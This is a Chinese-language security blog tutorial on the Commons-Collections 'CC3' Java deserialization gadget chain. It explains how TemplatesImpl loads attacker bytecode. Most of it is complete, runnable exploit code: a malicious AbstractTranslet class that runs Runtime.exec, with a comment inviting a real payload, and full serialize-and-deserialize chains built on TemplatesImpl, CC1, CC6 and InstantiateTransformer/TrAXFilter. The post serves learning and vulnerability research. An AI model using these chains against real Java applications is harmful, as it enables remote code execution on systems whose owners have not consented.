Java安全-CC3链

Java安全-CC3链

环境

  • jdk8u65
  • Commons-Collections 3.2.1

TemplatesImpl 解析

  • 利用 ClassLoader#defineClass 直接加载字节码–动态加载字节码
  • defineClass 的职责是:将一个字节数组(byte[]),即 .class 文件的二进制内容,转换并注册为 JVM 中的一个有效的 Class 对象。

这里我们可以正向看,首先是 loadClass(),它的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass()

对于 findClass() 方法

  • 根据名称或位置加载 .class 字节码,然后使用 defineClass,代码实例如下。

  • 通常由子类去实现

  • defineClass() 的作用是处理前面传入的字节码,将其处理成真正的 Java 类。

此时的 defineClass() 方法是有局限性的,因为它只是加载类,并不执行类。若需要执行,则需要先进行 newInstance() 的实例化。

现在我们的 defineClass() 方法的作用域为 protected,我们需要找到作用域为 public 的类,方便我们利用。

TemplatesImpl 类的 static class TransletClassLoader 中找到了我们能够运用的类。

此处是一个default方法

继续查找用法

来到同一个类中的defineTransletClasses方法,但是这个方法是一个private方法

继续跟进,来到还是同一个类下的 getTransletInstance() 方法

调用了 defineTransletClasses() 方法,并且这里有一个 newInstance() 实例化的过程,如果能走完这个函数那么就能动态执行代码

但是它是私有的,所以继续找

找到一个public方法

TemplatesImpl 利用

在分析过程我们说到只要走过 getTransletInstance() 方法即可,因为这个方法内调用了 newInstance() 方法,用伪代码来表示的话如下。

这个类是继承了Serializable接口的,可以序列化

1
2
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer(); // 因为是一层层调用的,我们需要后续赋值

跟进到getTransletInstance方法查看代码执行条件

_name不为空, _class为空

继续跟进

_bytecodes不为空, _tfactory不为空

编写EXP

  • _bytecodes构造

_bytecodes 的值,这里需要的是一个二维数组,所以我们创建一个二维数组。但是 _bytecodes 作为传递进 defineClass 方法的值是一个一维数组。而这个一维数组里面我们需要存放恶意的字节码

1
2
3
byte[] code = Files.readAllBytes(Paths.get("D://Test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);

测试用java文件,要编译为Class文件

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.example;

import java.io.IOException;

public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}
  • _tfactory 构造

_tfactory 的值在 TemplatesImpl 这一类中被定义如下,关键字是 transient,这就导致了这个变量在序列化之后无法被访问。

1
private transient TransformerFactoryImpl _tfactory = null;

直接修改是不行的,但是我们这里的利用要求比较低,只要让 _tfactory 不为 null 即可,我们去看一看 _tfactory 的其他定义如何。

readObject() 方法中,找到了 _tfactory 的初始化定义。

1
_tfactory = new TransformerFactoryImpl();

只要满足这个条件即可

1
2
3
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

此时的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3EXP {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
TemplatesImpl templates = new TemplatesImpl();

//反射修改属性值
Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");

//defineClass方法会将此字节码转化为Class对象
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
//构造读取字节码
byte[] code = Files.readAllBytes(Paths.get("D://Test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);

Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


templates.newTransformer();

}
}

运行后有报错

报错解决

根据报错提示,我们来到defineTransletClasses方法,下一个断点

发现问题出在if语句中条件未满足

如果我们传入字节码对象的父类不为ABSTRACT_TRANSLET,会直接抛出异常

我们让Test类继承AbstractTranslet就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc"); // 你的payload
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

编译

1
javac -source 8 -target 8 Test.java

再运行即可弹出计算器

CC1 链的 TemplatesImpl 的实现方式

TemplatesImpl 只是将原本的命令执行变成代码执行的方式所以在不考虑黑名单的情况下,如果可以进行命令执行,则一定可以通过动态加载字节码进行代码执行。

将CC1改为代码执行的方式

1
2
3
4
5
6
7
//反射调用newTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);

最后一句,传入 chainedTransformer.transform(1) 是因为前面我们定义了 new ConstantTransformer(templates),这个类是需要我们传参的,传入 1 即可。

这里是可以弹出计算器的

那我们与CC1前半段链子结合

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC1EXPTemplatesImpl {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "a");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D://Test.class"));
byte[][] codes = {evil};
bytecodesField.set(templates, codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();

//反射调用newTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(1);

HashMap map = new HashMap();
map.put("value", "aaa");

// 装饰为 TransformedMap
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

// 构造 AnnotationInvocationHandler
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);

// 触发序列化 + 反序列化
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

CC6 链的 TemplatesImpl 的实现方式

CC6也同理,只需要更改反射调用的方法即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC6EXPTemplatesImpl {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "a");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D://Test.class"));
byte[][] codes = {evil};
bytecodesField.set(templates, codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();

//反射调用newTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(1);

HashMap map = new HashMap();
//先传入一个没有用的transformer
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

//新建TiedMapEntry实例
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
tiedMapEntry.getValue();

HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"bbb");

lazyMap.remove("aaa");

//反射修改lazyMap的参数factory的值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);


// 触发序列化 + 反序列化
serialize(hashMap);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

同样顺利弹出计算器

回归正题 – CC3 链

CC3 链分析

因为只需要调用 TemplatesImpl 类的 newTransformer() 方法,便可以进行命令执行,所以我们去到 newTransformer() 方法下,查找用法

  • 这里主要是找到了四个,我们一个个讲解一下为什么是 TrAXFilter 而不是其他的。

Process 这个在 main 里面,是作为一般对象用的,所以不用它。

第二个 getOutProperties,是反射调用的方法,可能会在 fastjson 的漏洞里面被调用。

TransformerFactoryImpl 不能序列化,如果还想使用它也是也可能的,但是需要传参(Runtime.exec),我们需要去找构造函数。而它的构造函数难传参。

最后,TrAXFilter,它也是不能序列化的,但是看到他的构造函数

执行构造函数,便可调用newTransformer方法

CC3 这里的作者没有调用 InvokerTransformer,而是调用了一个新的类 InstantiateTransformer

  • InstantiateTransformer 这个类是用来初始化 Transformer 的,我们去找 InstantiateTransformer 类下的 transform 方法。

编写EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

// TemplatesImpl 的 EXP 编写
public class CC3EXP {
public static void main(String[] args) throws Exception{

TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"enableTemplatesImplDeserialization");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D://Test.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
//templates.newTransformer();

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
}

写到这里是可以直接弹出计算器的

与CC1链子结合,利用Transformer和ChainedTransformer传入TrAXFilter.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

// TemplatesImpl 的 EXP 编写
public class CC3EXP {
public static void main(String[] args) throws Exception{

TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"enableTemplatesImplDeserialization");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D://Test.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
//templates.newTransformer();

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);


Transformer[] transformers = new Transformer[]{
//触发攻击链子
//其实这里可以不用这个,因为我们不再需要进入setValue方法
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};


ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//与CC1前半部分链子结合一下
HashMap map = new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

// 实例化 AnnotationInvocationHandler
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);

//新建动态代理
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);

// 新建AnnotationInvocationHandler实例
Object o = aihConstructor.newInstance(Override.class, mapProxy);

// 触发序列化 + 反序列化
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

顺利弹出计算器

利用链分析

CC3链与前面链子不同之处主要在于命令执行利用的类不同

CC3主要利用了define方法从外部加载class文件执行恶意代码,Invokertransform类被放入黑名单后,可以利用CC3链

与CC1链子结合

CC3链与前几条链子不同之处

是这部分代替了Invokertransform类的命令执行


Java安全-CC3链
http://huang-d1.github.io/2025/09/05/Java安全-CC3链/
作者
huangdi
发布于
2025年9月5日
许可协议